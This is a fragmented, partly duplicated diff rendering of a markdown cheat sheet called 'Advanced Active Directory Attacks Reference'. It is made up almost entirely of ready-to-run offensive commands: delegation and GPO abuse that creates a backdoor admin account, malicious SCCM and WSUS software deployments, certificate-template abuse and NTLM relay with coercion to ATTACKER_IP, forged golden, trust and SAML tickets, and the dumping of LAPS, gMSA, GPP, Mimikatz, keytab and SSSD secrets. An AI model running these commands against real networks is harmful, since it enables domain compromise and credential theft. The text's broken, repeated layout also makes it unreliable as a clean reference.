-
.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
|
|
175
|
-
```
|
|
176
|
-
|
|
177
|
-
### WSUS Deployment Attack
|
|
178
|
-
|
|
179
|
-
```bash
|
|
180
|
-
# Using SharpWSUS
|
|
181
|
-
SharpWSUS.exe locate
|
|
182
|
-
SharpWSUS.exe inspect
|
|
183
|
-
|
|
184
|
-
# Create malicious update
|
|
185
|
-
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoor Password123! /add\"" /title:"Critical Update"
|
|
186
|
-
|
|
187
|
-
# Deploy to target
|
|
188
|
-
SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
|
|
189
|
-
|
|
190
|
-
# Check status
|
|
191
|
-
SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local
|
|
192
|
-
|
|
193
|
-
# Cleanup
|
|
194
|
-
SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
|
|
195
|
-
```
|
|
196
|
-
|
|
197
|
-
---
|
|
198
|
-
|
|
199
|
-
## AD Certificate Services (ADCS)
|
|
200
|
-
|
|
201
|
-
### ESC1 - Misconfigured Templates
|
|
202
|
-
|
|
203
|
-
Template allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.
|
|
204
|
-
|
|
205
|
-
```bash
|
|
206
|
-
# Find vulnerable templates
|
|
207
|
-
certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable
|
|
208
|
-
|
|
209
|
-
# Request certificate as admin
|
|
210
|
-
certipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local
|
|
211
|
-
|
|
212
|
-
# Authenticate
|
|
213
|
-
certipy auth -pfx administrator.pfx -dc-ip DC_IP
|
|
214
|
-
```
|
|
215
|
-
|
|
216
|
-
### ESC4 - ACL Vulnerabilities
|
|
217
|
-
|
|
218
|
-
```python
|
|
219
|
-
# Check for WriteProperty
|
|
220
|
-
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
|
|
221
|
-
|
|
222
|
-
# Add ENROLLEE_SUPPLIES_SUBJECT flag
|
|
223
|
-
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
|
|
224
|
-
|
|
225
|
-
# Perform ESC1, then restore
|
|
226
|
-
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag
|
|
227
|
-
```
|
|
228
|
-
|
|
229
|
-
### ESC8 - NTLM Relay to Web Enrollment
|
|
230
|
-
|
|
231
|
-
```bash
|
|
232
|
-
# Start relay
|
|
233
|
-
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
|
234
|
-
|
|
235
|
-
# Coerce authentication
|
|
236
|
-
python3 petitpotam.py ATTACKER_IP DC_IP
|
|
237
|
-
|
|
238
|
-
# Use certificate
|
|
239
|
-
Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt
|
|
240
|
-
```
|
|
241
|
-
|
|
242
|
-
### Shadow Credentials
|
|
243
|
-
|
|
244
|
-
```bash
|
|
245
|
-
# Add Key Credential (pyWhisker)
|
|
246
|
-
python3 pywhisker.py -d "domain.local" -u "user1" -p "password" --target "TARGET" --action add
|
|
247
|
-
|
|
248
|
-
# Get TGT with PKINIT
|
|
249
|
-
python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccache
|
|
250
|
-
|
|
251
|
-
# Get NT hash
|
|
252
|
-
export KRB5CCNAME=target.ccache
|
|
253
|
-
python3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET
|
|
254
|
-
```
|
|
255
|
-
|
|
256
|
-
---
|
|
257
|
-
|
|
258
|
-
## Trust Relationship Attacks
|
|
259
|
-
|
|
260
|
-
### Child to Parent Domain (SID History)
|
|
261
|
-
|
|
262
|
-
```powershell
|
|
263
|
-
# Get Enterprise Admins SID from parent
|
|
264
|
-
$ParentSID = "S-1-5-21-PARENT-DOMAIN-SID-519"
|
|
265
|
-
|
|
266
|
-
# Create Golden Ticket with SID History
|
|
267
|
-
kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt
|
|
268
|
-
```
|
|
269
|
-
|
|
270
|
-
### Forest to Forest (Trust Ticket)
|
|
271
|
-
|
|
272
|
-
```bash
|
|
273
|
-
# Dump trust key
|
|
274
|
-
lsadump::trust /patch
|
|
275
|
-
|
|
276
|
-
# Forge inter-realm TGT
|
|
277
|
-
kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi
|
|
278
|
-
|
|
279
|
-
# Use trust ticket
|
|
280
|
-
.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt
|
|
281
|
-
```
|
|
282
|
-
|
|
283
|
-
---
|
|
284
|
-
|
|
285
|
-
## ADFS Golden SAML
|
|
286
|
-
|
|
287
|
-
**Requirements:**
|
|
288
|
-
- ADFS service account access
|
|
289
|
-
- Token signing certificate (PFX + decryption password)
|
|
290
|
-
|
|
291
|
-
```bash
|
|
292
|
-
# Dump with ADFSDump
|
|
293
|
-
.\ADFSDump.exe
|
|
294
|
-
|
|
295
|
-
# Forge SAML token
|
|
296
|
-
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
|
|
297
|
-
```
|
|
298
|
-
|
|
299
|
-
---
|
|
300
|
-
|
|
301
|
-
## Credential Sources
|
|
302
|
-
|
|
303
|
-
### LAPS Password
|
|
304
|
-
|
|
305
|
-
```powershell
|
|
306
|
-
# PowerShell
|
|
307
|
-
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
|
|
308
|
-
|
|
309
|
-
# CrackMapExec
|
|
310
|
-
crackmapexec ldap DC_IP -u user -p password -M laps
|
|
311
|
-
```
|
|
312
|
-
|
|
313
|
-
### GMSA Password
|
|
314
|
-
|
|
315
|
-
```powershell
|
|
316
|
-
# PowerShell + DSInternals
|
|
317
|
-
$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'
|
|
318
|
-
$mp = $gmsa.'msDS-ManagedPassword'
|
|
319
|
-
ConvertFrom-ADManagedPasswordBlob $mp
|
|
320
|
-
```
|
|
321
|
-
|
|
322
|
-
```bash
|
|
323
|
-
# Linux with bloodyAD
|
|
324
|
-
python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword
|
|
325
|
-
```
|
|
326
|
-
|
|
327
|
-
### Group Policy Preferences (GPP)
|
|
328
|
-
|
|
329
|
-
```bash
|
|
330
|
-
# Find in SYSVOL
|
|
331
|
-
findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml
|
|
332
|
-
|
|
333
|
-
# Decrypt
|
|
334
|
-
python3 Get-GPPPassword.py -no-pass 'DC_IP'
|
|
335
|
-
```
|
|
336
|
-
|
|
337
|
-
### DSRM Credentials
|
|
338
|
-
|
|
339
|
-
```powershell
|
|
340
|
-
# Dump DSRM hash
|
|
341
|
-
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
|
|
342
|
-
|
|
343
|
-
# Enable DSRM admin logon
|
|
344
|
-
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
|
|
345
|
-
```
|
|
346
|
-
|
|
347
|
-
---
|
|
348
|
-
|
|
349
|
-
## Linux AD Integration
|
|
350
|
-
|
|
351
|
-
### CCACHE Ticket Reuse
|
|
352
|
-
|
|
353
|
-
```bash
|
|
354
|
-
# Find tickets
|
|
355
|
-
ls /tmp/ | grep krb5cc
|
|
356
|
-
|
|
357
|
-
# Use ticket
|
|
358
|
-
export KRB5CCNAME=/tmp/krb5cc_1000
|
|
359
|
-
```
|
|
360
|
-
|
|
361
|
-
### Extract from Keytab
|
|
362
|
-
|
|
363
|
-
```bash
|
|
364
|
-
# List keys
|
|
365
|
-
klist -k /etc/krb5.keytab
|
|
366
|
-
|
|
367
|
-
# Extract with KeyTabExtract
|
|
368
|
-
python3 keytabextract.py /etc/krb5.keytab
|
|
369
|
-
```
|
|
370
|
-
|
|
371
|
-
### Extract from SSSD
|
|
372
|
-
|
|
373
|
-
```bash
|
|
374
|
-
# Database location
|
|
375
|
-
/var/lib/sss/secrets/secrets.ldb
|
|
376
|
-
|
|
377
|
-
# Key location
|
|
378
|
-
/var/lib/sss/secrets/.secrets.mkey
|
|
379
|
-
|
|
380
|
-
# Extract
|
|
381
|
-
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
|
382
|
-
```
|
|
1
|
+
# Advanced Active Directory Attacks Reference
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
1. [Delegation Attacks](#delegation-attacks)
|
|
5
|
+
2. [Group Policy Object Abuse](#group-policy-object-abuse)
|
|
6
|
+
3. [RODC Attacks](#rodc-attacks)
|
|
7
|
+
4. [SCCM/WSUS Deployment](#sccmwsus-deployment)
|
|
8
|
+
5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)
|
|
9
|
+
6. [Trust Relationship Attacks](#trust-relationship-attacks)
|
|
10
|
+
7. [ADFS Golden SAML](#adfs-golden-saml)
|
|
11
|
+
8. [Credential Sources](#credential-sources)
|
|
12
|
+
9. [Linux AD Integration](#linux-ad-integration)
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## Delegation Attacks
|
|
17
|
+
|
|
18
|
+
### Unconstrained Delegation
|
|
19
|
+
|
|
20
|
+
When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.
|
|
21
|
+
|
|
22
|
+
**Find Delegation:**
|
|
23
|
+
```powershell
|
|
24
|
+
# PowerShell
|
|
25
|
+
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
|
|
26
|
+
|
|
27
|
+
# BloodHound
|
|
28
|
+
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
**SpoolService Abuse:**
|
|
32
|
+
```bash
|
|
33
|
+
# Check spooler service
|
|
34
|
+
ls \\dc01\pipe\spoolss
|
|
35
|
+
|
|
36
|
+
# Trigger with SpoolSample
|
|
37
|
+
.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local
|
|
38
|
+
|
|
39
|
+
# Or with printerbug.py
|
|
40
|
+
python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
**Monitor with Rubeus:**
|
|
44
|
+
```powershell
|
|
45
|
+
Rubeus.exe monitor /interval:1
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
### Constrained Delegation
|
|
49
|
+
|
|
50
|
+
**Identify:**
|
|
51
|
+
```powershell
|
|
52
|
+
Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
**Exploit with Rubeus:**
|
|
56
|
+
```powershell
|
|
57
|
+
# S4U2 attack
|
|
58
|
+
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
|
|
59
|
+
```
|
|
60
|
+
|
|
61
|
+
**Exploit with Impacket:**
|
|
62
|
+
```bash
|
|
63
|
+
getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### Resource-Based Constrained Delegation (RBCD)
|
|
67
|
+
|
|
68
|
+
```powershell
|
|
69
|
+
# Create machine account
|
|
70
|
+
New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
|
|
71
|
+
|
|
72
|
+
# Set delegation
|
|
73
|
+
Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$
|
|
74
|
+
|
|
75
|
+
# Get ticket
|
|
76
|
+
.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
---
|
|
80
|
+
|
|
81
|
+
## Group Policy Object Abuse
|
|
82
|
+
|
|
83
|
+
### Find Vulnerable GPOs
|
|
84
|
+
|
|
85
|
+
```powershell
|
|
86
|
+
Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|WriteDacl|WriteOwner")}
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
### Abuse with SharpGPOAbuse
|
|
90
|
+
|
|
91
|
+
```powershell
|
|
92
|
+
# Add local admin
|
|
93
|
+
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
|
|
94
|
+
|
|
95
|
+
# Add user rights
|
|
96
|
+
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount attacker --GPOName "Vulnerable GPO"
|
|
97
|
+
|
|
98
|
+
# Add immediate task
|
|
99
|
+
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO"
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
### Abuse with pyGPOAbuse (Linux)
|
|
103
|
+
|
|
104
|
+
```bash
|
|
105
|
+
./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
---
|
|
109
|
+
|
|
110
|
+
## RODC Attacks
|
|
111
|
+
|
|
112
|
+
### RODC Golden Ticket
|
|
113
|
+
|
|
114
|
+
RODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.
|
|
115
|
+
|
|
116
|
+
### RODC Key List Attack
|
|
117
|
+
|
|
118
|
+
**Requirements:**
|
|
119
|
+
- krbtgt credentials of the RODC (-rodcKey)
|
|
120
|
+
- ID of the krbtgt account of the RODC (-rodcNo)
|
|
121
|
+
|
|
122
|
+
```bash
|
|
123
|
+
# Impacket keylistattack
|
|
124
|
+
keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
|
|
125
|
+
|
|
126
|
+
# Using secretsdump with keylist
|
|
127
|
+
secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
**Using Rubeus:**
|
|
131
|
+
```powershell
|
|
132
|
+
Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
---
|
|
136
|
+
|
|
137
|
+
## SCCM/WSUS Deployment
|
|
138
|
+
|
|
139
|
+
### SCCM Attack with MalSCCM
|
|
140
|
+
|
|
141
|
+
```bash
|
|
142
|
+
# Locate SCCM server
|
|
143
|
+
MalSCCM.exe locate
|
|
144
|
+
|
|
145
|
+
# Enumerate targets
|
|
146
|
+
MalSCCM.exe inspect /all
|
|
147
|
+
MalSCCM.exe inspect /computers
|
|
148
|
+
|
|
149
|
+
# Create target group
|
|
150
|
+
MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
|
|
151
|
+
MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC
|
|
152
|
+
|
|
153
|
+
# Create malicious app
|
|
154
|
+
MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
|
|
155
|
+
|
|
156
|
+
# Deploy
|
|
157
|
+
MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
|
|
158
|
+
|
|
159
|
+
# Force checkin
|
|
160
|
+
MalSCCM.exe checkin /groupname:TargetGroup
|
|
161
|
+
|
|
162
|
+
# Cleanup
|
|
163
|
+
MalSCCM.exe app /cleanup /name:backdoor
|
|
164
|
+
MalSCCM.exe group /delete /groupname:TargetGroup
|
|
165
|
+
```
|
|
166
|
+
|
|
167
|
+
### SCCM Network Access Accounts
|
|
168
|
+
|
|
169
|
+
```powershell
|
|
170
|
+
# Find SCCM blob
|
|
171
|
+
Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
|
|
172
|
+
|
|
173
|
+
# Decrypt with SharpSCCM
|
|
174
|
+
.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
### WSUS Deployment Attack
|
|
178
|
+
|
|
179
|
+
```bash
|
|
180
|
+
# Using SharpWSUS
|
|
181
|
+
SharpWSUS.exe locate
|
|
182
|
+
SharpWSUS.exe inspect
|
|
183
|
+
|
|
184
|
+
# Create malicious update
|
|
185
|
+
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoor Password123! /add\"" /title:"Critical Update"
|
|
186
|
+
|
|
187
|
+
# Deploy to target
|
|
188
|
+
SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
|
|
189
|
+
|
|
190
|
+
# Check status
|
|
191
|
+
SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local
|
|
192
|
+
|
|
193
|
+
# Cleanup
|
|
194
|
+
SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
---
|
|
198
|
+
|
|
199
|
+
## AD Certificate Services (ADCS)
|
|
200
|
+
|
|
201
|
+
### ESC1 - Misconfigured Templates
|
|
202
|
+
|
|
203
|
+
Template allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.
|
|
204
|
+
|
|
205
|
+
```bash
|
|
206
|
+
# Find vulnerable templates
|
|
207
|
+
certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable
|
|
208
|
+
|
|
209
|
+
# Request certificate as admin
|
|
210
|
+
certipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local
|
|
211
|
+
|
|
212
|
+
# Authenticate
|
|
213
|
+
certipy auth -pfx administrator.pfx -dc-ip DC_IP
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
### ESC4 - ACL Vulnerabilities
|
|
217
|
+
|
|
218
|
+
```python
|
|
219
|
+
# Check for WriteProperty
|
|
220
|
+
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
|
|
221
|
+
|
|
222
|
+
# Add ENROLLEE_SUPPLIES_SUBJECT flag
|
|
223
|
+
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
|
|
224
|
+
|
|
225
|
+
# Perform ESC1, then restore
|
|
226
|
+
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
### ESC8 - NTLM Relay to Web Enrollment
|
|
230
|
+
|
|
231
|
+
```bash
|
|
232
|
+
# Start relay
|
|
233
|
+
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
|
234
|
+
|
|
235
|
+
# Coerce authentication
|
|
236
|
+
python3 petitpotam.py ATTACKER_IP DC_IP
|
|
237
|
+
|
|
238
|
+
# Use certificate
|
|
239
|
+
Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
### Shadow Credentials
|
|
243
|
+
|
|
244
|
+
```bash
|
|
245
|
+
# Add Key Credential (pyWhisker)
|
|
246
|
+
python3 pywhisker.py -d "domain.local" -u "user1" -p "password" --target "TARGET" --action add
|
|
247
|
+
|
|
248
|
+
# Get TGT with PKINIT
|
|
249
|
+
python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccache
|
|
250
|
+
|
|
251
|
+
# Get NT hash
|
|
252
|
+
export KRB5CCNAME=target.ccache
|
|
253
|
+
python3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
---
|
|
257
|
+
|
|
258
|
+
## Trust Relationship Attacks
|
|
259
|
+
|
|
260
|
+
### Child to Parent Domain (SID History)
|
|
261
|
+
|
|
262
|
+
```powershell
|
|
263
|
+
# Get Enterprise Admins SID from parent
|
|
264
|
+
$ParentSID = "S-1-5-21-PARENT-DOMAIN-SID-519"
|
|
265
|
+
|
|
266
|
+
# Create Golden Ticket with SID History
|
|
267
|
+
kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt
|
|
268
|
+
```
|
|
269
|
+
|
|
270
|
+
### Forest to Forest (Trust Ticket)
|
|
271
|
+
|
|
272
|
+
```bash
|
|
273
|
+
# Dump trust key
|
|
274
|
+
lsadump::trust /patch
|
|
275
|
+
|
|
276
|
+
# Forge inter-realm TGT
|
|
277
|
+
kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi
|
|
278
|
+
|
|
279
|
+
# Use trust ticket
|
|
280
|
+
.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt
|
|
281
|
+
```
|
|
282
|
+
|
|
283
|
+
---
|
|
284
|
+
|
|
285
|
+
## ADFS Golden SAML
|
|
286
|
+
|
|
287
|
+
**Requirements:**
|
|
288
|
+
- ADFS service account access
|
|
289
|
+
- Token signing certificate (PFX + decryption password)
|
|
290
|
+
|
|
291
|
+
```bash
|
|
292
|
+
# Dump with ADFSDump
|
|
293
|
+
.\ADFSDump.exe
|
|
294
|
+
|
|
295
|
+
# Forge SAML token
|
|
296
|
+
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
|
|
297
|
+
```
|
|
298
|
+
|
|
299
|
+
---
|
|
300
|
+
|
|
301
|
+
## Credential Sources
|
|
302
|
+
|
|
303
|
+
### LAPS Password
|
|
304
|
+
|
|
305
|
+
```powershell
|
|
306
|
+
# PowerShell
|
|
307
|
+
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
|
|
308
|
+
|
|
309
|
+
# CrackMapExec
|
|
310
|
+
crackmapexec ldap DC_IP -u user -p password -M laps
|
|
311
|
+
```
|
|
312
|
+
|
|
313
|
+
### GMSA Password
|
|
314
|
+
|
|
315
|
+
```powershell
|
|
316
|
+
# PowerShell + DSInternals
|
|
317
|
+
$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'
|
|
318
|
+
$mp = $gmsa.'msDS-ManagedPassword'
|
|
319
|
+
ConvertFrom-ADManagedPasswordBlob $mp
|
|
320
|
+
```
|
|
321
|
+
|
|
322
|
+
```bash
|
|
323
|
+
# Linux with bloodyAD
|
|
324
|
+
python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword
|
|
325
|
+
```
|
|
326
|
+
|
|
327
|
+
### Group Policy Preferences (GPP)
|
|
328
|
+
|
|
329
|
+
```bash
|
|
330
|
+
# Find in SYSVOL
|
|
331
|
+
findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml
|
|
332
|
+
|
|
333
|
+
# Decrypt
|
|
334
|
+
python3 Get-GPPPassword.py -no-pass 'DC_IP'
|
|
335
|
+
```
|
|
336
|
+
|
|
337
|
+
### DSRM Credentials
|
|
338
|
+
|
|
339
|
+
```powershell
|
|
340
|
+
# Dump DSRM hash
|
|
341
|
+
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
|
|
342
|
+
|
|
343
|
+
# Enable DSRM admin logon
|
|
344
|
+
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
|
|
345
|
+
```
|
|
346
|
+
|
|
347
|
+
---
|
|
348
|
+
|
|
349
|
+
## Linux AD Integration
|
|
350
|
+
|
|
351
|
+
### CCACHE Ticket Reuse
|
|
352
|
+
|
|
353
|
+
```bash
|
|
354
|
+
# Find tickets
|
|
355
|
+
ls /tmp/ | grep krb5cc
|
|
356
|
+
|
|
357
|
+
# Use ticket
|
|
358
|
+
export KRB5CCNAME=/tmp/krb5cc_1000
|
|
359
|
+
```
|
|
360
|
+
|
|
361
|
+
### Extract from Keytab
|
|
362
|
+
|
|
363
|
+
```bash
|
|
364
|
+
# List keys
|
|
365
|
+
klist -k /etc/krb5.keytab
|
|
366
|
+
|
|
367
|
+
# Extract with KeyTabExtract
|
|
368
|
+
python3 keytabextract.py /etc/krb5.keytab
|
|
369
|
+
```
|
|
370
|
+
|
|
371
|
+
### Extract from SSSD
|
|
372
|
+
|
|
373
|
+
```bash
|
|
374
|
+
# Database location
|
|
375
|
+
/var/lib/sss/secrets/secrets.ldb
|
|
376
|
+
|
|
377
|
+
# Key location
|
|
378
|
+
/var/lib/sss/secrets/.secrets.mkey
|
|
379
|
+
|
|
380
|
+
# Extract
|
|
381
|
+
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
|
382
|
+
```
|